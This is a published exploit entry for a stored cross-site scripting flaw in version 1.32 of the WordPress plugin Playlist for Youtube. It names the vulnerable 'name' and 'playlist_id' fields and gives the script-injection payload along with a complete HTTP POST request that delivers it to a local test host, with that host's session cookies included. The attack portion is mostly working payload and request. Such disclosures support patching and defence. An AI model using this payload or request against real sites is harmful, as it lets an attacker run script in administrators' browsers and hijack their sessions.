WordPress Playlist For Youtube 1.32 Cross Site Scripting

`# Exploit Title: Wordpress Plugin Playlist for Youtube - Stored Cross-Site Scripting (XSS)  
# Date: 22 March 2024  
# Exploit Author: Erdemstar  
# Vendor: https://wordpress.com/  
# Version: 1.32  
  
# Proof Of Concept:  
1. Click Add a new playlist and enter the XSS payload as below into the properties named "Name" or "Playlist ID".  
  
# PoC Video: https://www.youtube.com/watch?v=jrH5OHBoTns  
# Vulnerable Properties name: name, playlist_id  
# Payload: "><script>alert(document.cookie)</script>  
# Request:  
POST /wp-admin/admin.php?page=playlists_yt_free HTTP/2  
Host: erdemstar.local  
Cookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9  
Content-Length: 178  
Cache-Control: max-age=0  
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "macOS"  
Upgrade-Insecure-Requests: 1  
Origin: https://erdemstar.local  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://erdemstar.local/wp-admin/admin.php?page=playlists_yt_free  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=0, i  
  
_wpnonce=17357e6139&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dplaylists_yt_free&name="><script>alert(document.cookie)</script>&playlist_id=123&template=1&text_size=123&text_color=%23000000  
  
  
`